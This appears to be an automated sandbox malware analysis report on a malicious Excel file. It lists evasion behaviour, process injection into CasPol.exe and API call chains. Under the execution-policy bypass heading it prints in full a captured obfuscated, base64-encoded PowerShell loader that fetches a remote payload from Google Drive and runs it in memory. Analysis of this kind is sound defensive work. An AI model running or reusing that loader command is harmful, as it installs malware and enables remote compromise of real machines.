                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: 0001.xlsStream path 'MBD00D6412A/Package' entropy: 7.99677934339 (max. 8.0)
                Source: 0001.xlsStream path 'Workbook' entropy: 7.99857264835 (max. 8.0)
                Source: ~DF3AE4293CD94DBA64.TMP.0.drStream path 'Package' entropy: 7.9941305592 (max. 8.0)
                Source: 65330000.0.drStream path 'MBD00D6412A/Package' entropy: 7.9941305592 (max. 8.0)
                Source: 65330000.0.drStream path 'Workbook' entropy: 7.99812624635 (max. 8.0)

                Malware Analysis System Evasion

                barindex
                Delayed program exit found
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0040F7E2 Sleep,ExitProcess,26_2_0040F7E2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,28_2_0040DD85
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,26_2_0041A7D9
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000
                Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2699Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7072Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1929Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6220Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1904
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3807
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4874
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1423
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1707
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 914
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8934
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDecision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)graph_26-53735
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.dllJump to dropped file
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.dllJump to dropped file
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_26-53537
                Source: C:\Windows\System32\mshta.exe TID: 3844Thread sleep time: -600000s >= -30000sJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4024Thread sleep time: -240000s >= -30000sJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3152Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3960Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4060Thread sleep count: 1929 > 30Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4072Thread sleep count: 6220 > 30Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3088Thread sleep time: -120000s >= -30000sJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3084Thread sleep time: -2767011611056431s >= -30000sJump to behavior
                Source: C:\Windows\System32\mshta.exe TID: 1852Thread sleep time: -60000s >= -30000sJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1456Thread sleep time: -180000s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3628Thread sleep time: -922337203685477s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2084Thread sleep time: -922337203685477s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2736Thread sleep time: -922337203685477s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2716Thread sleep count: 4874 > 30
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2952Thread sleep count: 1423 > 30
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3452Thread sleep time: -120000s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3548Thread sleep time: -1844674407370954s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1804Thread sleep time: -922337203685477s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3884Thread sleep count: 1707 > 30
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3900Thread sleep count: 189 > 30
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3764Thread sleep time: -60000s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4068Thread sleep count: 914 > 30
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3136Thread sleep count: 8934 > 30
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4080Thread sleep time: -60000s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4088Thread sleep time: -15679732462653109s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4088Thread sleep time: -1800000s >= -30000s
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3976Thread sleep time: -120000s >= -30000s
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 1992Thread sleep time: -60000s >= -30000s
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeLast function: Thread delayed
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeLast function: Thread delayed
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,26_2_0040928E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,26_2_0041C322
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,26_2_0040C388
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,26_2_004096A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,26_2_00408847
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00407877 FindFirstFileW,FindNextFileW,26_2_00407877
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0044E8F9 FindFirstFileExA,26_2_0044E8F9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,26_2_0040BB6B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,26_2_00419B86
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,26_2_0040BD72
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,26_2_100010F1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_10006580 FindFirstFileExA,26_2_10006580
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0040AE51 FindFirstFileW,FindNextFileW,28_2_0040AE51
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,29_2_00407EF8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,30_2_00407898
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,26_2_00407CD2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_00418981 memset,GetSystemInfo,28_2_00418981
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Caches\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeAPI call chain: ExitProcess graph end node
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,26_2_00434A8A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,28_2_0040DD85
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041CBE1 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,26_2_0041CBE1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00443355 mov eax, dword ptr fs:[00000030h]26_2_00443355
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_10004AB4 mov eax, dword ptr fs:[00000030h]26_2_10004AB4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00411D39 SetLastError,GetNativeSystemInfo,SetLastError,GetProcessHeap,HeapAlloc,SetLastError,26_2_00411D39
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess token adjusted: Debug
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00434BD8 SetUnhandledExceptionFilter,26_2_00434BD8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0043503C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,26_2_0043503C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,26_2_00434A8A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0043BB71 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,26_2_0043BB71
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_100060E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,26_2_100060E2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_10002639 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,26_2_10002639
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_10002B1C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,26_2_10002B1C

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Yara detected Powershell download and execute
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3932, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 808, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3776, type: MEMORYSTR
                Bypasses PowerShell execution policy
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9FTkQ+Pnptdzs3Vk1zdGFydEluJysnZGV4ID0gNycrJ1ZNaW1hZ2VUZXh0LkluZGV4T2YoN1ZNc3RhcnRGbGFnKTs3Vk1lbmRJbmRleCA9IDdWTWltYWcnKydlVGV4dC5JbmRleE9mKDdWTWVuZEZsYWcpOzdWTXN0JysnYXJ0SW5kZXggLScrJ2dlIDAgLWFuZCA3Vk1lbmRJbmQnKydleCAtZ3QgN1ZNc3RhcnRJbmRleCcrJzs3Vk1zdGFydEluZGV4ICs9IDdWTXN0YXJ0RmxhZy5MZW5ndGg7N1ZNJysnYmFzZTY0TGVuZ3RoID0gJysnNycrJ1ZNZW5kSW5kZXggLSA3VicrJ01zdGEnKydydEluZGV4OzdWTWJhc2U2NENvbW1hbmQgPSA3Vk1pbWFnZVRleHQuU3ViJysnc3RyaW5nKDdWTXN0YXJ0SW5kZXgsIDdWTWJhc2U2NExlbmd0aCk7N1ZNJysnYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoN1YnKydNYicrJ2FzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHJwOCBGb3JFYWNoLU9iamVjdCB7IDdWTV8gfSlbLTEuLi0oN1ZNYmEnKydzZTY0Q29tbWFuZC5MZW5ndGgpXTs3Vk1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm8nKydtQmFzZTY0U3RyaW5nKDdWTWJhc2U2NFJldmVycycrJ2VkKTs3Vk0nKydsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoN1ZNY29tbWFuZEJ5dGVzKTs3Vk12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHptd1ZBSXptdyk7N1ZNdmFpTWV0aG9kLkludm9rZSg3Vk1udWxsLCAnKydAKHptd3R4dC5UVFInKydDTUxMLzIxNC8xMi4xJysnMDEuMy4yOTEvLzpwdHRoem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdkZXNhdGl2YScrJ2Rvem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdDYXNQb2x6bXcsIHptd2Rlc2F0aXZhZCcrJ296bXcsIHptd2Rlc2F0aXZhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2YWRvem13LHptd2Rlc2F0aXYnKydhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2JysnYWRveicrJ213LHptdzF6bXcsem13ZGVzYXRpdmFkb3ptdykpOycpICAtckVQbEFDZSAncnA4JyxbQ0hhcl0xMjQgIC1jcmVQbGFDRSAgKFtDSGFyXTEyMitbQ0hhcl0xMDkrW0NIYXJdMTE5KSxbQ0hhcl0zOS1jcmVQbGFDRShbQ0hhcl01NStbQ0hhcl04NitbQ0hhcl03NyksW0NIYXJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                Contains functionality to inject code into remote processes
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041812A GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtCreateSection,NtUnmapViewOfSection,NtMapViewOfSection,VirtualFree,NtClose,TerminateProcess,GetModuleHandleA,GetProcAddress,GetCurrentProcess,NtMapViewOfSection,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,GetCurrentProcess,NtUnmapViewOfSection,NtClose,TerminateProcess,GetLastError,26_2_0041812A
                Injects a PE file into a foreign processes
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 value starts with: 4D5A
                Maps a DLL or memory area into another process
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe protection: execute and read and write
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe protection: execute and read and write
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe protection: execute and read and write
                Writes to foreign memory regions
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 401000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 459000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 471000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 477000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 478000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 479000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 47E000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 7EFDE008
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe26_2_00412132
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00419662 mouse_event,26_2_00419662
